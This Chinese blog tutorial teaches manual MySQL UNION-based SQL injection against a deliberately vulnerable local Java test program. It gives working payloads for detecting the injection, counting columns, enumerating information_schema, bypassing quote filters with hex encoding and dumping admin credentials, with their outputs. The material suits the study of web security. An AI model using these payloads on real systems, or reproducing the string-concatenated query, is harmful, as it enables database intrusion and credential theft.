以下是mynona本人原创的,奉献给大家,不要小看数据库注入

参考:

http://www.daydaydata.com/help/sql/advance/limit.html

http://www.f4ck.org/article-1579-1.html

必备知识:

  • mysql的sql注释符号:#
  • 无论mysql还是sqlServer数据库,里面都有information_schema这个数据库,这个数据库里面TABLES表保存了数据库所有表名,COLUMNS表保存了表   的所有字段名,我们暴库就是针对这两个表。
  • SQL UNION 操作符

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

  • LIMIT子句

LIMIT 子句用于规定要返回的记录的数目。
       对于拥有成千上万条记录的大型表来说,LIMIT 子句是非常有用的。

语法:SELECT 列名称 FROM 表名称 LIMIT 开始位置, 行数

      注意开始位置可以省略,默认是0位置

测试代码:

数据库连接类

(适合mysql和MSSQL2008)

  1. import java.sql.Connection;
  2.  
  3. public class DateExecute {
  4.  
  5. private String user;
  6. private String password;
  7. private String type;
  8. private String databaseName;
  9.  
  10. public DateExecute(String type, String user, String password, String databaseName){
  11.  
  12. this.type = type;
  13. this.user = user;
  14. this.password = password;
  15. this.databaseName = databaseName;
  16. }
  17.  
  18. public Connection getConnection()
  19. throws InstantiationException, IllegalAccessException,
  20. ClassNotFoundException, SQLException {
  21.  
  22. Connection con = null;
  23. if(type.equals("mysql")){
  24. String driverName = "com.mysql.jdbc.Driver";
  25. Driver d = (Driver) Class.forName(driverName).newInstance();
  26. con = DriverManager.getConnection("jdbc:mysql://localhost:3306/"+databaseName,
  27. user, password);
  28. }
  29. else{
  30. String driverName = "com.microsoft.sqlserver.jdbc.SQLServerDriver";
  31. Driver d = (Driver) Class.forName(driverName).newInstance();
  32. con = DriverManager.getConnection("jdbc:sqlserver://localhost:1433; DatabaseName="+databaseName,
  33. user, password);
  34. }
  35. return con;
  36. }
  37.  
  38. public List<Map<String, Object>> getDateList(String sql)
  39. throws InstantiationException, IllegalAccessException,
  40. ClassNotFoundException, SQLException {
  41. Connection conn = getConnection();
  42. List<Map<String, Object>> list = new ArrayList<Map<String, Object>>();
  43. try {
  44. //stmt = conn.prepareStatement(sql);
  45. //ResultSet rs = stmt.executeQuery(sql);
  46. Statement state = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
  47. ResultSet rs=state.executeQuery(sql);
  48. list = convertList(rs);
  49. } catch (SQLException e) {
  50. System.out.println("数据库连接失败");
  51. e.printStackTrace();
  52. }
  53. return list;
  54. }
  55.  
  56. private List convertList(ResultSet rs) throws SQLException {
  57.  
  58. List list = new ArrayList();
  59. ResultSetMetaData md = rs.getMetaData();
  60. int columnCount = md.getColumnCount(); // Map rowData;
  61. while (rs.next()) { // rowData = new HashMap(columnCount);
  62.  
  63. Map<String, Object> rowData = new HashMap<String, Object>();
  64.  
  65. for (int i = 1; i <= columnCount; i++) {
  66.  
  67. rowData.put(md.getColumnName(i), rs.getObject(i));
  68. }
  69. list.add(rowData);
  70. }
  71. return list;
  72. }
  73.  
  74. public int executeUpdate(String sql) throws InstantiationException,
  75. IllegalAccessException, ClassNotFoundException, SQLException {
  76. Connection conn = getConnection();
  77. Statement stmt;
  78. int success = 0;
  79. try {
  80. stmt = conn.createStatement();
  81. success = stmt.executeUpdate(sql);
  82. } catch (SQLException e) {
  83. System.out.println("数据库连接失败");
  84. e.printStackTrace();
  85. }
  86. return success;
  87. }
  88. }

测试类:

(我们就是在这个类里面构造注入的sql语句)

  1. import java.sql.SQLException;
  2.  
  3. public class TestSql {
  4.  
  5. public static void main(String[] args) throws InstantiationException,
  6. IllegalAccessException, ClassNotFoundException, SQLException {
  7.  
  8. //”root”为你mysql用户名,“xxxxx”为密码,“school”为数据库名
  9. DateExecute de = new DateExecute("mysql", "root", "XXXXX","school");
  10. //DateExecute de = new DateExecute("mssql", "sa", "abca157992.","school");
  11.  
  12. //MYSQL
  13.  
  14. String sqlM = "select * from user;";
  15. String sqlInsertM = "insert into user value(24,'mynona','122334')";
  16. String sqlDeleteM = "delete from user where name = 'mynona'";
  17.  
  18. System.out.println(de.getDateList(sqlbefore+sql));
  19.  
  20. //MSSQL
  21. /* String sqlbefore = "select * from student where id = 1 ";
  22. String sql = " and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='student'";
  23. String sqlInsert = "insert into student values(6, 222, 111)";
  24. String sqlDelete = "delete from student where id = 4";*/
  25.  
  26. //de.executeUpdate(sqlInsert);
  27.  
  28. }
  29. }

测试数据库:

测试数据:

假设我们的目标是admin这个表,对于user这个表有个注入点:

Select * from user where name = ‘’;

具体如下:

  1. public class TestSql {
  2.  
  3. public static void main(String[] args) throws InstantiationException,
  4. IllegalAccessException, ClassNotFoundException, SQLException {
  5.  
  6. DateExecute de = new DateExecute("mysql", "root", "157992","school");
  7.  
  8. String name = "admin";
  9. String password="mynona";
  10.  
  11. String sql = "select * from user where name = '" + name +"' and password = '" + password + "'";
  12.  
  13. System.out.println("执行的sql语句:\n" + sql);
  14. System.out.println(de.getDateList(sql));
  15.  
  16. }
  17. }

上面那条sql语句明显两个sql注入点,分别是name和password

运行上面的程序,可以正常输出:

[{id=1, name=admin, password=mynona}]

现在我们要针对name这个注入点构造注入的sql语句。

判断注入点:

目标:看看是否有注入

我们令

  1. name ="mynona and 1=1 #";

然后指向上面的测试代码:

执行的sql语句:

select * from user where name = 'mynona' and 1=1 #' and password = 'mynona'

输出结果:

[{id=2, name=mynona, password=122334}]

还是之前的数据,没变化

再令:

  1. name ="mynona and 1=2 #";

执行的sql语句:

select * from user where name = 'mynona' and 1=2 #' and password = 'mynona'

输出结果:

[]

没有数据了,说明有注入

(tip:sql语句中“#”后面的内容会被忽略)

判断字段数(重要):

目标:看看当前注入点select了几个字段

(知道这些字段数后以后我们做union语句时就等与这相等)

分别构造:

  1. name ="mynona' order by 1 #"; 输出正常
  2. name ="mynona' order by 2 #";输出正常
  3. name ="mynona' order by 3 #";输出正常
  4. name ="mynona' order by 4 #";错误输出

由此可以知道当前的表有3个字段

然后我们联合查询:

  1. name ="mynona' and 1=2 union select 1,2,3 #";

执行的sql语句:

select * from user where name = 'mynona' and 1=2 union select 1,2,3 #' and password = 'mynona'

输出结果:

[{id=1, name=2, password=3}]

查看用户名:

  1. name ="mynona' and 1=2 union select 1,user(),3 #";

执行的sql语句:

select * from user where name = 'mynona' and 1=2 union select 1,user(),3 #' and password = 'mynona'

输出结果:

[{id=1, name=root@localhost, password=3}]

现在用户名出来了,是root

查看数据库:

  1. name ="mynona' and 1=2 union select 1,database(),3 #";

执行的sql语句:

select * from user where name = 'mynona' and 1=2 union select 1,database(),3 #' and password = 'mynona'

输出结果:

[{id=1, name=school, password=3}]

当前数据库名也出来了:school

查看数据库版本:

  1. name ="mynona' and 1=2 union select 1,version(),3 #";

执行的sql语句:

select * from user where name = 'mynona' and 1=2 union select 1,version(),3 #' and password = 'mynona'

输出结果:

[{id=1, name=5.5.34, password=3}]

可以看到mysql版本是5.5.34

开始爆库:

在mysql里有information_schema这个库,这个库里有tables表,表中有table_schema字段,这个字段储存的时mysql里所有的库名,同时还有table_name这个字段,储存的是MySQL里所有的表名。

遍历数据库school里面的所有表:

其实就是差information_schema数据库里面的TABLES表

  1. name ="mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema='school'# ";

提示:如果对方网站过滤了单引号的话,可以把字符转为16进制:

如school 的十六进制为:0x7363686F6F6C

那么上面那条语句可以变为:

  1. name ="mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x7363686F6F6C# ";

执行的sql语句:

select * from user where name = 'mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x7363686F6F6C# ' and password = 'mynona'

输出结果:

[{id=2, name=mynona, password=122334}, {id=admin, name=2, password=3}, {id=user, name=2, password=3}]

可以看到school数据库的表为user, admin

看到这里,应该高兴,因为admin说不定就存储这管理员的用户名和密码

下面我们遍历admin表(其实就跟上面遍历user表差不多)

其实就是查询数据库information_schema表里面的COLUMNS表

  1. name ="mynona' union select 1,2,COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME = 'admin'# ";

执行的sql语句:

select * from user where name = 'mynona' union select 1,2,COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME = 'admin'# ' and password = 'mynona'

输出结果:

[{id=2, name=mynona, password=122334}, {id=1, name=2, password=id}, {id=1, name=2, password=name}, {id=1, name=2, password=phone}, {id=1, name=2, password=sex}, {id=1, name=2, password=tel}, {id=1, name=2, password=password}]

可以看到遍历出了表admin的字段为:id,name,phone,sex,tel,password

遍历name和password字段的数据:

  1. name ="mynona' union select 1,concat(name),concat(password) from admin # ";

执行的sql语句:

select * from user where name = 'mynona' union select 1,concat(name),concat(password) from admin # ' and password = 'mynona'

输出结果:

[{id=2, name=mynona, password=122334}, {id=1, name=admin, password=mynona}]

得出:name=admin,password= mynona

就这样admin表遍历出来了

mysql手工注入的更多相关文章

  1. MYSQL手工注入(详细步骤)—— 待补充

    0x00 SQL注入的分类: (1)基于从服务器接收到的响应         ▲基于错误的 SQL 注入         ▲联合查询的类型         ▲堆查询注射         ▲SQL 盲注 ...

  2. MySQL手工注入学习-1

    MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...

  3. 手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  4. MySQL手工注入进阶篇——突破过滤危险字符问题

    当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...

  5. 记一次MySQL手工注入

    本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...

  6. MYSQL手工注入某日本网站

    作者:ice   团队:www.anying.org 转载必须注明. E-mail:1c30day@gmail.com 经过一天的辛苦劳动下班了,实在无聊,QQ上的基友基本都挂机睡觉了.找点乐子打发时 ...

  7. mysql手工注入总结

    mysql -u 用户名 -p 密码 -h IP地址 show databases;   查看数据库 select version(); php注入的版本号 use database(表名): sho ...

  8. mysql手工注入步骤

    1.一般用 '  "  ) 等符号来闭合,再用%23(即#)来注释后面语句. 2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询. ...

  9. [MYSQL手工注入](3)基于报错的SQL注入实战

    0x03 MYSQL 手工注入实战--基于错误的 SQL 注入 今天如愿以偿的找到了基于错误的SQL注入环境了:是一个国外卖音响的小网站,还在建设中: 看一下报错信息: (1)确定闭合语句:从上面的报 ...

随机推荐

  1. Android动画主要包含补间动画(Tween)View Animation、帧动画(Frame)Drawable Animation、以及属性动画Property Animation

    程序运行效果图: Android动画主要包含补间动画(Tween)View Animation.帧动画(Frame)Drawable Animation.以及属性动画Property Animatio ...

  2. 解决xcode7添加启动图片不显示

    xcode7添加启动图片步骤: 在target中将Launch Screen File置为空,不使用自带的LaunchScreen.storyboard作为启动图(LaunchScreen.story ...

  3. 在CentOS下安装配置MySQL

    经常需要在linux环境下部署项目或安装Mysql数据库,由于记性不好,每次都是求助度娘,每次搜到的步骤都不一样,所以每次都在尝试.冒险:于是乎,把安装的重要步骤贴出,供自己以后参照. 1.首先要看看 ...

  4. ES6:JavaScript 新特性

    我相信,在ECMAScript.next到来的时候,我们现在每天都在写的JavaScript代码将会发生巨大的变化.接下来的一年将会是令JavaScript开发者们兴奋的一年,越来越多的特性提案将被最 ...

  5. DWZ (JUI) 教程 DWZ中dialog层的刷新

    在DWZ开发过程中经常会遇到的一种情况就是:在navTab页面中通过a标签打开一个dialog,在dialog层进行操作后,需要对该dialog层进行必要的刷新操作. 1.首先讲一下思路: 在非dia ...

  6. Jquery AJax Post 返回值问题

    var msg=0; Validater('abc'); function Validater(Name) { var itemId = 1; $.ajax({ url: 'adminmenu/Val ...

  7. 集合框架学习之Collection和Map详解

    线性表,链表,哈希表是常用的数据结构,在进行Java开发时,JDK已经为我们提供了一系列相应的类来实现基本的数据结构.这些类均在java.util包中.本文试图通过简单的描述,向读者阐述各个类的作用以 ...

  8. 通信行业OSS支撑系统软件研发思考

    一般的,对所谓大型.通信行业.OSS支撑软件系统,我们可宏观定义以下几点: 以年计的研发周期 以几十人计的研发团队 以百计的业务菜单功能点 以千计的数据库表 以万计的业务术语指标 以亿计的数据表记录 ...

  9. Cocos2d-JS中的Sprite精灵类

    精灵类是cc.Sprite,它的类图如下图所示.cc.Sprite类直接继承了cc.Node类,具有cc.Node基本特征. 创建Sprite精灵对象 创建精灵对象可以使用构造函数实现,它们接受相同的 ...

  10. 20141110--SQL视图

    --------------------------视图--------------------- --视图是一个虚拟表,数据来自于原表,原表的数据改变,视图也会改变 select Student.S ...